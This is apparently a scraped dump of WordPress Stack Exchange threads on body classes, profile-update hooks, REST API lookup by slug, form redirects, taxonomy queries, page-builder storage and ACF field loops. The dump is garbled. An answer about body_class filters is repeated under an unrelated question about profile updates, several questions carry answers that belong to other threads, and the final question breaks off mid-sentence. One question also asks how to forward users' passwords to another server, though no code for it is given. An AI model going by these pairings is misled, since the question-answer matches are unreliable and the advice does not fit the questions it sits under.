<p>I'm trying to style something unique to the Blog/Posts page, which isn't on the front page. The body tag right now looks like this:<code>&lt;body &lt;?php body_class() ?&gt;&gt;</code> <br> But doing this <code>&lt;body &lt;?php body_class('blog') ?&gt;&gt;</code> only returns <code>&lt;body class="logged-in"&gt;</code> or just <code>&lt;body&gt;</code> if I'm not logged in. <br> <br> I've tried: <br></p> <pre><code>&lt;body &lt;?php if ( is_home()) { echo 'class="blog"'; } else { body_class(); }?&gt;&gt; </code></pre> <p>It sort of works but it replaces the "logged-in" class entirely. There has to be a way to append classes to the body tag for posts pages right?</p>
[ { "answer_id": 282695, "author": "Piyush Rawat", "author_id": 73600, "author_profile": "https://wordpress.stackexchange.com/users/73600", "pm_score": -1, "selected": false, "text": "<p>You can pass your class as argument</p>\n\n<pre><code>&lt;body &lt;?php if ( is_home()) { body_class('my-class'); } else { body_class(); }?&gt;&gt;\n</code></pre>\n" }, { "answer_id": 282698, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": true, "text": "<p>In your theme's functions file, use the <code>body_class</code> filter to add new classes:</p>\n\n<pre><code>function wpse_282694_body_class( $classes ) {\n if ( is_home() ) {\n $classes[] = 'blog';\n }\n\n return $classes;\n}\nadd_filter( 'body_class', 'wpse_282694_body_class' );\n</code></pre>\n\n<p>If your category archives, tag archives, date archives and search results also need the same styling, which is fairly commin, check for each of them like so:</p>\n\n<pre><code>if ( is_home() || is_date() || is_tag() || is_category() || is_search() ) {}\n</code></pre>\n\n<p>Note that I didn't use <code>is_archive()</code>, because that would also affect any custom post types you might be using.</p>\n" } ]
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282694", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129515/" ]
I'm trying to style something unique to the Blog/Posts page, which isn't on the front page. The body tag right now looks like this:`<body <?php body_class() ?>>` But doing this `<body <?php body_class('blog') ?>>` only returns `<body class="logged-in">` or just `<body>` if I'm not logged in. I've tried: ``` <body <?php if ( is_home()) { echo 'class="blog"'; } else { body_class(); }?>> ``` It sort of works but it replaces the "logged-in" class entirely. There has to be a way to append classes to the body tag for posts pages right?
In your theme's functions file, use the `body_class` filter to add new classes: ``` function wpse_282694_body_class( $classes ) { if ( is_home() ) { $classes[] = 'blog'; } return $classes; } add_filter( 'body_class', 'wpse_282694_body_class' ); ``` If your category archives, tag archives, date archives and search results also need the same styling, which is fairly commin, check for each of them like so: ``` if ( is_home() || is_date() || is_tag() || is_category() || is_search() ) {} ``` Note that I didn't use `is_archive()`, because that would also affect any custom post types you might be using.
282,699
<p>I have a membership site I want to call a function when any fields of user will update from any where of site.</p> <p>I was used this function but it is not Running:</p> <pre><code>$current_user = wp_get_current_user(); $user_id = $current_user-&gt;ID; function update_extra_profile_fields($user_id) { if ( current_user_can('edit_user',$user_id) ) myfunction(); } </code></pre> <p>Please help me </p>
[ { "answer_id": 282695, "author": "Piyush Rawat", "author_id": 73600, "author_profile": "https://wordpress.stackexchange.com/users/73600", "pm_score": -1, "selected": false, "text": "<p>You can pass your class as argument</p>\n\n<pre><code>&lt;body &lt;?php if ( is_home()) { body_class('my-class'); } else { body_class(); }?&gt;&gt;\n</code></pre>\n" }, { "answer_id": 282698, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": true, "text": "<p>In your theme's functions file, use the <code>body_class</code> filter to add new classes:</p>\n\n<pre><code>function wpse_282694_body_class( $classes ) {\n if ( is_home() ) {\n $classes[] = 'blog';\n }\n\n return $classes;\n}\nadd_filter( 'body_class', 'wpse_282694_body_class' );\n</code></pre>\n\n<p>If your category archives, tag archives, date archives and search results also need the same styling, which is fairly commin, check for each of them like so:</p>\n\n<pre><code>if ( is_home() || is_date() || is_tag() || is_category() || is_search() ) {}\n</code></pre>\n\n<p>Note that I didn't use <code>is_archive()</code>, because that would also affect any custom post types you might be using.</p>\n" } ]
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282699", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129516/" ]
I have a membership site I want to call a function when any fields of user will update from any where of site. I was used this function but it is not Running: ``` $current_user = wp_get_current_user(); $user_id = $current_user->ID; function update_extra_profile_fields($user_id) { if ( current_user_can('edit_user',$user_id) ) myfunction(); } ``` Please help me
In your theme's functions file, use the `body_class` filter to add new classes: ``` function wpse_282694_body_class( $classes ) { if ( is_home() ) { $classes[] = 'blog'; } return $classes; } add_filter( 'body_class', 'wpse_282694_body_class' ); ``` If your category archives, tag archives, date archives and search results also need the same styling, which is fairly commin, check for each of them like so: ``` if ( is_home() || is_date() || is_tag() || is_category() || is_search() ) {} ``` Note that I didn't use `is_archive()`, because that would also affect any custom post types you might be using.
282,716
<p>I'm in the process of converting my existing WordPress site to use Preact/Redux on the frontend and use the WP REST API to get post data back from the admin.</p> <p>I'll be using React Router and a rewrite in .htaccess to rewrite the URLs to the index.html file, and React Router should handle the requests.</p> <p>Given an existing URL of <code>https://peteschuster.com/2017/10/high-praise-react-react-ecosystem/</code> I assume I'll setup my route as <code>/:year/:month/:slug</code></p> <p>My question is, how would I use those params to get the post ID so I can call the REST endpoint for: <code>GET /wp/v2/posts/&lt;id&gt;</code>?</p> <p>Perhaps there is another way to achieve this? I tried several combinations of: <code>https://peteschuster.com/wp/v2/posts/2017/10/high-praise-react-react-ecosystem/</code> to no avail. I was thinking it might be possible similar to how <code>/feed</code> is handled like: <code>https://peteschuster.com/2017/10/high-praise-react-react-ecosystem/json</code></p> <p>Any guidance would be greatly appreciated. Thanks!</p>
[ { "answer_id": 282726, "author": "Stephen Sabatini", "author_id": 83781, "author_profile": "https://wordpress.stackexchange.com/users/83781", "pm_score": 0, "selected": false, "text": "<p>Firstly, the REST API URL base would be:</p>\n\n<p><a href=\"https://peteschuster.com/wp-json/wp/v2/posts/\" rel=\"nofollow noreferrer\">https://peteschuster.com/wp-json/wp/v2/posts/</a></p>\n\n<p>I'm not sure I understand your question as a whole, but if you're trying to get the ID from the post URL, you can use <code>url_to_postid($url);</code>.</p>\n\n<p>See: <a href=\"https://codex.wordpress.org/Function_Reference/url_to_postid\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/url_to_postid</a></p>\n\n<p>The full URL would be:\n<code>https://peteschuster.com/wp-json/wp/v2/posts/ID_HERE</code></p>\n\n<p>e.g.\n<a href=\"https://peteschuster.com/wp-json/wp/v2/posts/4177\" rel=\"nofollow noreferrer\">https://peteschuster.com/wp-json/wp/v2/posts/4177</a></p>\n\n<p>You can also get the post by the slug using a query: (I'd probably recommend)</p>\n\n<p><a href=\"https://peteschuster.com/wp-json/wp/v2/posts?slug=high-praise-react-react-ecosystem\" rel=\"nofollow noreferrer\">https://peteschuster.com/wp-json/wp/v2/posts?slug=high-praise-react-react-ecosystem</a></p>\n\n<p>You can get the slug either by using <code>$post-&gt;post_name</code> or <code>basename(get_permalink());</code>.</p>\n" }, { "answer_id": 282729, "author": "ssnepenthe", "author_id": 125601, "author_profile": "https://wordpress.stackexchange.com/users/125601", "pm_score": 3, "selected": true, "text": "<p>The core rewrite API does offer the function <code>url_to_postid()</code> (as mentioned by @stephen-sabatini) which can find a post ID from a URL. However it seems less than ideal to have to make a request up front just to determine the post ID...</p>\n\n<p>The REST API does not natively offer the ability to query by date beyond setting <code>before</code> and <code>after</code> args so that won't be of much help to you.</p>\n\n<p>You could potentially ignore the date params and query by slug. For example:</p>\n\n<pre><code>https://peteschuster.com/wp-json/wp/v2/posts?slug=high-praise-react-react-ecosystem\n</code></pre>\n\n<p>Alternatively, you could make a custom endpoint and perform whatever type of query you want. Check the <a href=\"https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/\" rel=\"nofollow noreferrer\">REST API handbook</a> for more information.</p>\n\n<p>On the idea of a <code>/json</code> endpoint: This isn't something that exists natively, but it is certainly doable.</p>\n\n<p>To implement it, have a look at rewrite endpoints:</p>\n\n<ul>\n<li><a href=\"https://codex.wordpress.org/Rewrite_API/add_rewrite_endpoint\" rel=\"nofollow noreferrer\">Codex page</a></li>\n<li><a href=\"https://developer.wordpress.org/reference/functions/add_rewrite_endpoint/\" rel=\"nofollow noreferrer\">Code reference page</a></li>\n<li><a href=\"https://make.wordpress.org/plugins/2012/06/07/rewrite-endpoints-api/\" rel=\"nofollow noreferrer\">Blog post with more info on using rewrite endpoints</a></li>\n</ul>\n\n<p>Keep in mind that this would be completely separate from the REST API, however you could probably reuse the REST API internally with something like:</p>\n\n<pre><code>$request = new WP_REST_Request( 'GET', '/wp/v2/posts' );\n$request-&gt;set_param( 'slug', 'high-praise-react-react-ecosystem' );\n$response = rest_do_request( $request );\n$post = $response-&gt;data;\n</code></pre>\n\n<p>Using the REST API in this way is briefly touched on in the <a href=\"https://developer.wordpress.org/rest-api/using-the-rest-api/frequently-asked-questions/#can-i-make%c2%a0api-requests%c2%a0from-php-within-a-plugin\" rel=\"nofollow noreferrer\">handbook FAQ</a>.</p>\n\n<p>This would add some extra complexity to your server config, as now you would have to route requests ending in <code>json</code> straight to WordPress instead of your frontend, but that shouldn't be too difficult.</p>\n\n<p>Hopefully that gives you some ideas...</p>\n" }, { "answer_id": 393536, "author": "Thomas Karlsson", "author_id": 210423, "author_profile": "https://wordpress.stackexchange.com/users/210423", "pm_score": 1, "selected": false, "text": "<p>Thought I would add my two cents to this.</p>\n<p>using <code>wp-json/wp/v2/posts?slug=</code> works very well until you start working with <strong>parent &amp; child</strong> pages.</p>\n<p>No two pages can have the same slug UNLESS one of the pages is the child off another page.\nHere's a quick example where I have a page called lorem-2 (the -2 was added automatically cause I already had a paged called lorem).</p>\n<p>Then I added a child page called lorem-2 to lorem, then when I query for lorem-2 I get two pages.</p>\n<p>A safer rout would be to make a custom REST route that let's you query the <strong>whole</strong> URL as that will provide you with the exact post/page</p>\n<p><a href=\"https://i.stack.imgur.com/EYGVj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EYGVj.png\" alt=\"enter image description here\" /></a></p>\n" } ]
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282716", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/1388/" ]
I'm in the process of converting my existing WordPress site to use Preact/Redux on the frontend and use the WP REST API to get post data back from the admin. I'll be using React Router and a rewrite in .htaccess to rewrite the URLs to the index.html file, and React Router should handle the requests. Given an existing URL of `https://peteschuster.com/2017/10/high-praise-react-react-ecosystem/` I assume I'll setup my route as `/:year/:month/:slug` My question is, how would I use those params to get the post ID so I can call the REST endpoint for: `GET /wp/v2/posts/<id>`? Perhaps there is another way to achieve this? I tried several combinations of: `https://peteschuster.com/wp/v2/posts/2017/10/high-praise-react-react-ecosystem/` to no avail. I was thinking it might be possible similar to how `/feed` is handled like: `https://peteschuster.com/2017/10/high-praise-react-react-ecosystem/json` Any guidance would be greatly appreciated. Thanks!
The core rewrite API does offer the function `url_to_postid()` (as mentioned by @stephen-sabatini) which can find a post ID from a URL. However it seems less than ideal to have to make a request up front just to determine the post ID... The REST API does not natively offer the ability to query by date beyond setting `before` and `after` args so that won't be of much help to you. You could potentially ignore the date params and query by slug. For example: ``` https://peteschuster.com/wp-json/wp/v2/posts?slug=high-praise-react-react-ecosystem ``` Alternatively, you could make a custom endpoint and perform whatever type of query you want. Check the [REST API handbook](https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/) for more information. On the idea of a `/json` endpoint: This isn't something that exists natively, but it is certainly doable. To implement it, have a look at rewrite endpoints: * [Codex page](https://codex.wordpress.org/Rewrite_API/add_rewrite_endpoint) * [Code reference page](https://developer.wordpress.org/reference/functions/add_rewrite_endpoint/) * [Blog post with more info on using rewrite endpoints](https://make.wordpress.org/plugins/2012/06/07/rewrite-endpoints-api/) Keep in mind that this would be completely separate from the REST API, however you could probably reuse the REST API internally with something like: ``` $request = new WP_REST_Request( 'GET', '/wp/v2/posts' ); $request->set_param( 'slug', 'high-praise-react-react-ecosystem' ); $response = rest_do_request( $request ); $post = $response->data; ``` Using the REST API in this way is briefly touched on in the [handbook FAQ](https://developer.wordpress.org/rest-api/using-the-rest-api/frequently-asked-questions/#can-i-make%c2%a0api-requests%c2%a0from-php-within-a-plugin). This would add some extra complexity to your server config, as now you would have to route requests ending in `json` straight to WordPress instead of your frontend, but that shouldn't be too difficult. Hopefully that gives you some ideas...
282,718
<p>This is a strange error because it wasn't happening earlier, it was actually all working fine. I have removed all the code I have added since I last tested it and it was working before it broke. </p> <p>I have a custom post acting as a page to submit a form on and I am processing the form via a function in the functions.php page in my plugin.</p> <pre><code>function tm_add_new_job() { if ( empty($_POST) || !wp_verify_nonce($_POST['tm_add_new_job'],'tm_add_new_job') ) { wp_nonce_ays(); die(); } else { $type = $_POST['contacttype']; switch ($type) { case 'email': $title = $_POST['title']; $name = $_POST['name']; $surname = $_POST['surname']; $email = $_POST['email']; if (!empty($email)) { // Post new job and customer $new_customer_id = tm_add_customer($title, $name, $surname); $new_job_id = tm_add_job($new_customer_id); // Assign link to about_you page $about_you = get_page_by_path( 'about-you', '', 'jobs' ); $linked = get_post_permalink($about_you-&gt;ID); $secret = get_post_meta( $new_customer_id, 'customer_secret', true ); $link = $linked .'?customer='. $new_customer_id .'&amp;secret='. $secret; tm_mail_lead($email, $from, $custom, $link); // Add job ID to customer add_metadata( 'post', $new_customer_id, 'job_id', $new_job_id, false ); if (!empty($title)) { // Add customer title add_metadata( 'post', $new_customer_id, 'customer_title', $title, false ); } if (!empty($name)) { // Add customer name add_metadata( 'post', $new_customer_id, 'customer_name', $name, false ); } if (!empty($surname)) { // Add customer surname add_metadata( 'post', $new_customer_id, 'customer_surname', $surname, false ); } // Add customer email add_post_meta( $new_customer_id, 'customer_email', $email, false ); } else { // No email - Fail wp_redirect( tm_new_job_link()); } break; case 'text': $title = $_POST['sms_title']; $name = $_POST['sms_name']; $surname = $_POST['sms_surname']; $mobile = $_POST['mobile']; if (!empty($mobile)) { // Post new job and customer $new_customer_id = tm_add_customer($title, $name, $surname); $new_job_id = tm_add_job($new_customer_id); // Add job ID to customer add_metadata( 'post', $new_customer_id, 'job_id', $new_job_id, false ); if (!empty($title)) { // Add customer title add_metadata( 'post', $new_customer_id, 'customer_title', $title, false ); } if (!empty($name)) { // Add customer name add_metadata( 'post', $new_customer_id, 'customer_name', $name, false ); } if (!empty($surname)) { // Add customer surname add_metadata( 'post', $new_customer_id, 'customer_surname', $surname, false ); } // Add customer email add_metadata( 'post', $new_customer_id, 'customer_mobile', $mobile, false ); } else { // No Mobile Number - Fail wp_redirect( tm_new_job_link()); } break; case 'customer': $image = 'quoting.png'; break; } if ($_FILES) { // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it. require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); $file = $_FILES[featured_image]; $file_return = wp_handle_upload( $file, array('action' =&gt; 'tm_add_new_job' ) ); if( isset( $file_return['error'] ) || isset( $file_return['upload_error_handler'] ) ) { return false; } else { $filename = $file_return['file']; $attachment = array( 'post_mime_type' =&gt; $file_return['type'], 'post_title' =&gt; preg_replace( '/\.[^.]+$/', '', basename( $filename ) ), 'post_content' =&gt; '', 'post_status' =&gt; 'inherit', 'guid' =&gt; $file_return['url'] ); $attachment_id = wp_insert_attachment( $attachment, $file_return['url'] ); // Generate the metadata for the attachment, and update the database record. $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename ); wp_update_attachment_metadata( $attachment_id, $attachment_data ); set_post_thumbnail( $new_job_id, $attachment_id ); } } // success go to new job post. wp_redirect( get_permalink($new_job_id)); } } add_action( 'admin_post_tm_add_new_job', 'tm_add_new_job' ); </code></pre> <p>FYI: The form works and the data is inserted into the database, the only problem is it is stuck on a blank (white screen) admin-post.php page. What am I doing wrong here?</p> <p><strong>UPDATE:</strong> </p> <p>I have discovered that it redirects only if I upload an image?</p>
[ { "answer_id": 282724, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<p>The problem was:</p>\n\n<pre><code>if ($_FILES) {}\n</code></pre>\n\n<p>Can someone explain this to me? The wp_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?</p>\n" }, { "answer_id": 285291, "author": "louisnelza", "author_id": 125948, "author_profile": "https://wordpress.stackexchange.com/users/125948", "pm_score": -1, "selected": false, "text": "<p>This might be an issue:</p>\n\n<p>wp_redirect( tm_new_job_link()); has to be followed by exit;</p>\n" } ]
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282718", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128475/" ]
This is a strange error because it wasn't happening earlier, it was actually all working fine. I have removed all the code I have added since I last tested it and it was working before it broke. I have a custom post acting as a page to submit a form on and I am processing the form via a function in the functions.php page in my plugin. ``` function tm_add_new_job() { if ( empty($_POST) || !wp_verify_nonce($_POST['tm_add_new_job'],'tm_add_new_job') ) { wp_nonce_ays(); die(); } else { $type = $_POST['contacttype']; switch ($type) { case 'email': $title = $_POST['title']; $name = $_POST['name']; $surname = $_POST['surname']; $email = $_POST['email']; if (!empty($email)) { // Post new job and customer $new_customer_id = tm_add_customer($title, $name, $surname); $new_job_id = tm_add_job($new_customer_id); // Assign link to about_you page $about_you = get_page_by_path( 'about-you', '', 'jobs' ); $linked = get_post_permalink($about_you->ID); $secret = get_post_meta( $new_customer_id, 'customer_secret', true ); $link = $linked .'?customer='. $new_customer_id .'&secret='. $secret; tm_mail_lead($email, $from, $custom, $link); // Add job ID to customer add_metadata( 'post', $new_customer_id, 'job_id', $new_job_id, false ); if (!empty($title)) { // Add customer title add_metadata( 'post', $new_customer_id, 'customer_title', $title, false ); } if (!empty($name)) { // Add customer name add_metadata( 'post', $new_customer_id, 'customer_name', $name, false ); } if (!empty($surname)) { // Add customer surname add_metadata( 'post', $new_customer_id, 'customer_surname', $surname, false ); } // Add customer email add_post_meta( $new_customer_id, 'customer_email', $email, false ); } else { // No email - Fail wp_redirect( tm_new_job_link()); } break; case 'text': $title = $_POST['sms_title']; $name = $_POST['sms_name']; $surname = $_POST['sms_surname']; $mobile = $_POST['mobile']; if (!empty($mobile)) { // Post new job and customer $new_customer_id = tm_add_customer($title, $name, $surname); $new_job_id = tm_add_job($new_customer_id); // Add job ID to customer add_metadata( 'post', $new_customer_id, 'job_id', $new_job_id, false ); if (!empty($title)) { // Add customer title add_metadata( 'post', $new_customer_id, 'customer_title', $title, false ); } if (!empty($name)) { // Add customer name add_metadata( 'post', $new_customer_id, 'customer_name', $name, false ); } if (!empty($surname)) { // Add customer surname add_metadata( 'post', $new_customer_id, 'customer_surname', $surname, false ); } // Add customer email add_metadata( 'post', $new_customer_id, 'customer_mobile', $mobile, false ); } else { // No Mobile Number - Fail wp_redirect( tm_new_job_link()); } break; case 'customer': $image = 'quoting.png'; break; } if ($_FILES) { // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it. require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); $file = $_FILES[featured_image]; $file_return = wp_handle_upload( $file, array('action' => 'tm_add_new_job' ) ); if( isset( $file_return['error'] ) || isset( $file_return['upload_error_handler'] ) ) { return false; } else { $filename = $file_return['file']; $attachment = array( 'post_mime_type' => $file_return['type'], 'post_title' => preg_replace( '/\.[^.]+$/', '', basename( $filename ) ), 'post_content' => '', 'post_status' => 'inherit', 'guid' => $file_return['url'] ); $attachment_id = wp_insert_attachment( $attachment, $file_return['url'] ); // Generate the metadata for the attachment, and update the database record. $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename ); wp_update_attachment_metadata( $attachment_id, $attachment_data ); set_post_thumbnail( $new_job_id, $attachment_id ); } } // success go to new job post. wp_redirect( get_permalink($new_job_id)); } } add_action( 'admin_post_tm_add_new_job', 'tm_add_new_job' ); ``` FYI: The form works and the data is inserted into the database, the only problem is it is stuck on a blank (white screen) admin-post.php page. What am I doing wrong here? **UPDATE:** I have discovered that it redirects only if I upload an image?
The problem was: ``` if ($_FILES) {} ``` Can someone explain this to me? The wp\_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?
282,744
<p>I have a WP query that searches for any custom posts under type 'tribe_events' tagged as 'featured' under the taxonomy 'tribe_events_cat'.</p> <p>So, just to be clear:<br/> post_type = 'tribe_events'<br/> taxonomy = 'tribe_events_cat'<br/> terms = 'featured', 'streamteam'</p> <p>However, it returns nothing when outside of page ID 199. I can comment-out the tax_query and it works but returns all posts, not just ones tagged as 'featured'.</p> <pre><code> if(is_page(199)) { $tribe_events_cat = array( 'featured','streamteam' ); } else { $tribe_events_cat = 'featured'; } // The Query $event_args = array ( 'post_type' =&gt; 'tribe_events', 'posts_per_page' =&gt; 1, 'tax_query' =&gt; array ( array ( 'taxonomy' =&gt; 'tribe_events_cat', 'field' =&gt; 'slug', 'terms' =&gt; $tribe_events_cat, ), ), 'meta_query' =&gt; array( array( 'key' =&gt; '_EventStartDate', 'value' =&gt; date("Y-m-d"), 'compare' =&gt; '&gt;=', 'type' =&gt; 'DATE', ), ), 'meta_key' =&gt; '_EventStartDate', 'order' =&gt; 'ASC' ); $event_query = new WP_Query( $event_args ); // The Loop if ( $event_query-&gt;have_posts() ) { while ( $event_query-&gt;have_posts() ) { $event_query-&gt;the_post(); ?&gt; POST CONTENT HERE &lt;?php } } </code></pre> <p>What's wrong with my tax_query?!</p> <p><strong>EDIT:</strong></p> <p>This answer solved my initial problem of no posts being returned from my query<br/> <a href="https://stackoverflow.com/questions/30213495/wp-query-returns-no-results">https://stackoverflow.com/questions/30213495/wp-query-returns-no-results</a> <br/> Apparently there was a filter conflicting with my query.<br/><br/> However, I'm still having an issue.. I only want to return posts with both 'featured' AND 'streamteam' terms when on page ID 199. Right now it's returning posts that only belong to the 'featured' term.</p>
[ { "answer_id": 282724, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<p>The problem was:</p>\n\n<pre><code>if ($_FILES) {}\n</code></pre>\n\n<p>Can someone explain this to me? The wp_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?</p>\n" }, { "answer_id": 285291, "author": "louisnelza", "author_id": 125948, "author_profile": "https://wordpress.stackexchange.com/users/125948", "pm_score": -1, "selected": false, "text": "<p>This might be an issue:</p>\n\n<p>wp_redirect( tm_new_job_link()); has to be followed by exit;</p>\n" } ]
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282744", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129539/" ]
I have a WP query that searches for any custom posts under type 'tribe\_events' tagged as 'featured' under the taxonomy 'tribe\_events\_cat'. So, just to be clear: post\_type = 'tribe\_events' taxonomy = 'tribe\_events\_cat' terms = 'featured', 'streamteam' However, it returns nothing when outside of page ID 199. I can comment-out the tax\_query and it works but returns all posts, not just ones tagged as 'featured'. ``` if(is_page(199)) { $tribe_events_cat = array( 'featured','streamteam' ); } else { $tribe_events_cat = 'featured'; } // The Query $event_args = array ( 'post_type' => 'tribe_events', 'posts_per_page' => 1, 'tax_query' => array ( array ( 'taxonomy' => 'tribe_events_cat', 'field' => 'slug', 'terms' => $tribe_events_cat, ), ), 'meta_query' => array( array( 'key' => '_EventStartDate', 'value' => date("Y-m-d"), 'compare' => '>=', 'type' => 'DATE', ), ), 'meta_key' => '_EventStartDate', 'order' => 'ASC' ); $event_query = new WP_Query( $event_args ); // The Loop if ( $event_query->have_posts() ) { while ( $event_query->have_posts() ) { $event_query->the_post(); ?> POST CONTENT HERE <?php } } ``` What's wrong with my tax\_query?! **EDIT:** This answer solved my initial problem of no posts being returned from my query <https://stackoverflow.com/questions/30213495/wp-query-returns-no-results> Apparently there was a filter conflicting with my query. However, I'm still having an issue.. I only want to return posts with both 'featured' AND 'streamteam' terms when on page ID 199. Right now it's returning posts that only belong to the 'featured' term.
The problem was: ``` if ($_FILES) {} ``` Can someone explain this to me? The wp\_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?
282,765
<p>If there is some variable from the user's password, I want the password that the user has entered for the wordpress account, to send to another server, so that the user can also log on to another server with the same data as on the wordpress, is there anyone a solution for this? thank you all for help</p>
[ { "answer_id": 282724, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<p>The problem was:</p>\n\n<pre><code>if ($_FILES) {}\n</code></pre>\n\n<p>Can someone explain this to me? The wp_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?</p>\n" }, { "answer_id": 285291, "author": "louisnelza", "author_id": 125948, "author_profile": "https://wordpress.stackexchange.com/users/125948", "pm_score": -1, "selected": false, "text": "<p>This might be an issue:</p>\n\n<p>wp_redirect( tm_new_job_link()); has to be followed by exit;</p>\n" } ]
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282765", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129556/" ]
If there is some variable from the user's password, I want the password that the user has entered for the wordpress account, to send to another server, so that the user can also log on to another server with the same data as on the wordpress, is there anyone a solution for this? thank you all for help
The problem was: ``` if ($_FILES) {} ``` Can someone explain this to me? The wp\_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?
282,778
<p>I'm creating a plugin similar to <a href="https://www.wpbeaverbuilder.com/" rel="nofollow noreferrer">https://www.wpbeaverbuilder.com/</a> You can drag &amp; drop elements to create layouts, etc. </p> <p>What would be the best way to store post content in this case? Ideally it shouldn't be lost after disabling the plugin. </p> <p>Current options are: </p> <ul> <li>save to WP_POSTS table as shortcodes</li> <li>create my own table, store there in JSON, and then populate WP_POSTS table with generated HTML </li> </ul> <p>I don't like both, because shortcodes will make it hard to switch as you're bound to generated shortcodes (though you'll have a workaround there). HTML is fine until user needs to make edits. </p>
[ { "answer_id": 282724, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<p>The problem was:</p>\n\n<pre><code>if ($_FILES) {}\n</code></pre>\n\n<p>Can someone explain this to me? The wp_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?</p>\n" }, { "answer_id": 285291, "author": "louisnelza", "author_id": 125948, "author_profile": "https://wordpress.stackexchange.com/users/125948", "pm_score": -1, "selected": false, "text": "<p>This might be an issue:</p>\n\n<p>wp_redirect( tm_new_job_link()); has to be followed by exit;</p>\n" } ]
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282778", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/121208/" ]
I'm creating a plugin similar to <https://www.wpbeaverbuilder.com/> You can drag & drop elements to create layouts, etc. What would be the best way to store post content in this case? Ideally it shouldn't be lost after disabling the plugin. Current options are: * save to WP\_POSTS table as shortcodes * create my own table, store there in JSON, and then populate WP\_POSTS table with generated HTML I don't like both, because shortcodes will make it hard to switch as you're bound to generated shortcodes (though you'll have a workaround there). HTML is fine until user needs to make edits.
The problem was: ``` if ($_FILES) {} ``` Can someone explain this to me? The wp\_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?
282,798
<p>Sometimes with Wordpress, I find myself writing long if/else chains to see if a field (a field I've created in advanced custom fields for example) exists, for example:</p> <pre><code>$imagen1 = get_field("imagen1"); $imagen2 = get_field("imagen2"); $imagen3 = get_field("imagen3"); $imagen4 = get_field("imagen4"); $imagen5 = get_field("imagen5"); &lt;?php if ( $imagen1 ) { ?&gt; &lt;div class="slider-item"&gt; &lt;!-- &lt;a href="#" class="slider-item-plus"&gt; + &lt;/a&gt; --&gt; &lt;img src="&lt;?php echo $imagen1['url'] ?&gt;" alt="slider photo" class="img-responsive"&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;?php if ( $imagen2 ) { ?&gt; &lt;div class="slider-item"&gt; &lt;!-- &lt;a href="#" class="slider-item-plus"&gt; + &lt;/a&gt; --&gt; &lt;img src="&lt;?php echo $imagen2['url'] ?&gt;" alt="slider photo" class="img-responsive"&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;?php if ( $imagen3 ) { ?&gt; &lt;div class="slider-item"&gt; &lt;!-- &lt;a href="#" class="slider-item-plus"&gt; + &lt;/a&gt; --&gt; &lt;img src="&lt;?php echo $imagen3['url'] ?&gt;" alt="slider photo" class="img-responsive"&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;?php if ( $imagen4 ) { ?&gt; &lt;div class="slider-item"&gt; &lt;!-- &lt;a href="#" class="slider-item-plus"&gt; + &lt;/a&gt; --&gt; &lt;img src="&lt;?php echo $imagen4['url'] ?&gt;" alt="slider photo" class="img-responsive"&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;?php if ( $imagen5 ) { ?&gt; &lt;div class="slider-item"&gt; &lt;!-- &lt;a href="#" class="slider-item-plus"&gt; + &lt;/a&gt; --&gt; &lt;img src="&lt;?php echo $imagen5['url'] ?&gt;" alt="slider photo" class="img-responsive"&gt; &lt;/div&gt; &lt;?php } ?&gt; </code></pre> <p>I have seen this in a few webpages that I have inherited as well. It is not very effective as there is a limit in the amount of fields you can display since you have to add a new if chain everytime a new field is added. Can this be replaced with a loop? And if so, how would you 